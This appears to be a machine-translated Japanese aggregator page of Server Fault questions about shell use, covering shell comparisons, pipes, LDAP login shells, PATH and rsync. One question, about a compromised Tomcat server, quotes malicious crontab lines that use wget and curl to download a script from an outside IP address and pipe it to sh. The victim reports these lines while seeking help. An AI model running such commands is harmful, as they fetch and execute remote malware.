タグ付けされた質問 「shell」

シェルは、Unixライクなオペレーティングシステムで最も一般的に使用されるコマンドラインインタープリターの用語ですが、GUIベースのオペレーティングシステムとより詳細にやり取りするためにも使用されます。ユーザーがテキストインターフェイスからプログラムを実行できるようにするだけでなく、変数、置換、出力リダイレクト、ワイルドカードなどの基本的なプログラミング機能を頻繁に提供します。

8
Unixシェルの比較
ロックされています。この質問とトピックへの回答はロックされています。質問はトピックから外れていますが、歴史的に重要です。現在、新しい回答や相互作用を受け入れていません。 主要なUnixシェル(bash、ksh、tcsh、zsh、その他?)のうち、相互に使用する説得力のある理由はありますか? 最もインタラクティブ/コマンドラインフレンドリーなのはどれですか? スクリプトを作成する上で最も役立つ/直感的なものはどれですか? 1つのシェルが提供する、他のシェルが提供しない主要な組み込み機能はありますか? これらのシェルのいずれかは、あるタイプの機能には本当に良いのですが、別のタイプの機能にはありませんか?それとも、それらはすべてかなりバランスのとれた/柔軟ですか? それは単に個人的な好みの問題ですか? 誰かが望むなら、私はこのコミュニティウィキを作ることができます。
9 linux  unix  shell 

1
ストリームを連結する方法は?
catファイルを連結できることはわかっていますが、ファイルとストリームを組み合わせて連結し、その結果を別のプロセスにパイプする必要があります。 質問をより具体的にするために、と連結cat abc.sqlしてgzip -dc xyz.sql.gz、cat qvf.sqlすべてを単一のストリームとしてにパイプしmysqlます。 これを達成するための最良の方法は何ですか?
9 shell  pipe  cat 

2
LDAPシェルを上書きする
LDAPサーバーと事前定義されたシェル(bash)が設定されています。しかし、ユーザーがLDAPに保存されているシェルの代わりにログインするたびに別のシェルを使用したいマシンがあります。 これどうやってするの??誰かが私にこれについていくつかの指示を与えることはできますか? ありがとうございました
9 ldap  shell  login 


4
「tput」コマンドで端末のタイトルを設定するにはどうすればよいですか?
私はを通じて発見この回答私は何年も素朴な方法で私のプロンプトで、端末の色を設定してきたこと。 プロンプトのさまざまな要素を色分けするために 'tput'コマンドを使用するように.bashrcを変更しました。私が持っている残りのエスケープコードはこれです: TITLEBAR="\[\033]2; PROD - \u@\h:\w \007\]" 端末ウィンドウのタイトルバーを設定するために使用できるtput / terminfo属性があるかどうかを誰かが知っているので、そのエスケープを排除できますか?

3
不明な起源のcronを介したApacheサーバーへのシェルスクリプト攻撃
Apache tomcatサーバーでプロジェクト戦争を実行しているときに、サーバーが危険にさらされていることがわかりました。 未知の世界で戦争をしている間、cronこんな風に走っています [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh ダウンロードは、logo.jpgマルウェアをダウンロードされたシェルスクリプトを持っています。 以下のこのウェブサイトで同様の問題を見つけました https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/ そして /security/160068/kworker34-malware-on-linux 私のコード全体でこのcronスケジューラの起源を見つけることができません。 誰かがこの問題に直面していることを知りたいのですか?コードでスケジューラの起源を見つけるにはどうすればよいですか。 注意: JAVA(Struts 2)+ jsp + javascript + jquery Webプロジェクトに取り組んでいます。 このスケジューラは、プロジェクトのwarファイルでTomcatを起動するたびに実行されますが、コード内にスケジューラのスケジューラを見つけることができません。 ログファイルで次の行を見つけました [INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - …

5
どこからでもスクリプトを実行
私はスクリプトを持っています: #!/bin/bash echo "$(dirname $(readlink -e $1))/$(basename $1)" それはここにあります:/home/myuser/bin/abspath.shこれは実行権限を持っています。 実行するecho $PATHと、次のようになります。/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/myuser/bin 任意のディレクトリからabspath <some_path_here>、自分のスクリプトを呼び出すことができるようにしたいと思います。私はbashを使用していますが、何を間違っていますか?

5
ssh経由で実行されたコマンドをログに記録する
SSH経由で実行されたすべてのコマンドをログに記録したい。 いう、 ssh something@server.com COMMAND server.comに「COMMAND」を記録したい 広範囲にわたって検索しましたが、何も見つかりませんでした。 同様の質問がもう1つありますが、解決策はないと思います。 「SSH経由のリモート実行」をログに記録する方法 私はライブビューを得ることができます pstree -p | grep ssh 私はSnoopy、auditd、sudoshを試しましたが、sshを介してこれらのコマンドをログに記録できませんでした。 http://freecode.com/projects/shwatchrがあります。テストするスクリプトをダウンロードできません。 これを行う他の方法はありますか? ありがとう……
8 ssh  bash  logging  shell 

3
カスタムopensshシェル
環境はUbuntu Server 12.04です ログファイルでtail -fを実行し、プログラムが終了するとセッションを閉じるシェルにsshでしかアクセスできないサーバー上にユーザーを作成します(Ctrl + Cキー)。 これを達成する方法はありますか?
8 linux  ubuntu  ssh  shell 

4
rsyncでフォルダーを移動するときに空のソースディレクトリを削除する方法
rsyncmv以下のオプションを使用して、従来のものと非常によく似た移動フォルダに同軸化できます。 rsync -axvvES --remove-source-files source_directory /destination/ しかし、まだ実現できていないように見えるのは、元のディレクトリを削除することです。--remove-source-filesフラグは、ソースファイルではなく、ソースディレクトリを削除だけ、ということありません。--remove-source-directories旗もあるといいのですが、ありません。 どうすればこれに対処できますか? 私rm -frは移動後だけを発行できると思いますが、間違いの可能性を導入するのではなく、手順をすべて1つのプロセスに留めておきたいと思います。
8 bash  shell  rsync  zsh 

3
シェルスクリプトから、MySQLデータベースにテーブルが存在するかどうかを確認するにはどうすればよいですか?
ユーザーがテーブルで必要な操作を選択できるスクリプトを作成しようとしています。テーブルが存在するかどうかを確認したい。存在する場合は他の処理を続行するか、テーブルが存在しないと終了します。どうすればこれを達成できますか?

2
CentOSでデーモンとして実行するシェルスクリプトを取得していますか?
編集:どういうわけか、私の投稿の半分が何らかの理由で切り捨てられました。私はすぐに更新し、ここで更新されたことを上部に投稿します。 編集:不完全な質問で申し訳ありませんが、投稿を再度更新しました。 編集(8:55 PM EST 10/10/2011):Stevenが提案したように/srv/rhodecode/start.shを更新しましたが、それでも喜びはありません。それはそのようにハングし続けます: [lpeabody@vcs rhodecode]$ sudo /etc/init.d/rhodecode-server start Starting rhodecode-server: 以下のスクリプトを更新して、変更を示しました。 私は人生でシェルやbashスクリプトを書いたことがありません。CentOSにRhodeCodeをインストールしようとしていますが、DebianとGentooのinitスクリプトがありますが、RedHat / CentOSにはありません。サーバー環境はCentOS 5の実行に限定されているため、作成する必要があります。プロジェクトのソースは、こちらの Bitbucketにあります。 アイデアは、CeleryとRabbitMQでRhodeCodeを実行することです。これはすべてPythonで記述されており、virtualenvを使用して、独自の独立した仮想コンテナー内に環境があります。私はここでシェルスクリプトのアイデアを得ました。 rhodecodeという名前のシステムユーザーを作成し、/ var / run / rhodecodeディレクトリを作成しました。これはrhodecodeが所有しています。また、production.iniが存在する/ var / www / rhodecodeと、rhodecodeが所有する/srv/rhodecode/start.shも作成しました。 権限: [lpeabody@vcs run]$ ll -a /var/run/rhodecode total 12 drwxr-xr-x 2 rhodecode rhodecode 4096 Oct 10 15:57 . drwxr-xr-x 21 …

7
シェルスクリプトでのTelnetの使用
telnetコマンドを使用して、MySQLポートが応答しているかどうかを確認します。 telnet 10.10.10.24 3306 ctrl文字を使用して切断します。これは期待どおりに機能しています。このコマンドをシェルスクリプトで使用するにはどうすればよいですか?
8 shell 

5
Bash:コマンドが関数の引数として渡されると引用符が取り除かれます
スクリプトにドライランのようなメカニズムを実装しようとしていますが、コマンドが引数として関数に渡されたときに引用符が取り除かれ、予期しない動作が発生する問題に直面しています。 dry_run () { echo "$@" #printf '%q ' "$@" if [ "$DRY_RUN" ]; then return 0 fi "$@" } email_admin() { echo " Emailing admin" dry_run su - $target_username -c "cd $GIT_WORK_TREE && git log -1 -p|mail -s '$mail_subject' $admin_email" echo " Emailed" } 出力は次のとおりです。 su - webuser1 -c …

2
ターミナルは$しか表示しませんか?
最近、サーバーで「adduser username」を使用して新しいユーザーを設定しましたが、ログインすると次のようになります。 $ また、私の新しいユーザーでは、フォルダーの強調表示やタブ補完はありません。 ただし、rootとしてログインすると、完全な端末プロンプトと強調表示、完了などが表示されます。 root@lin01:~# 誰かが私が間違ったことを何か知っていますか? 編集:解決策は入力することでした chsh -s /bin/bash $でログイン中。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.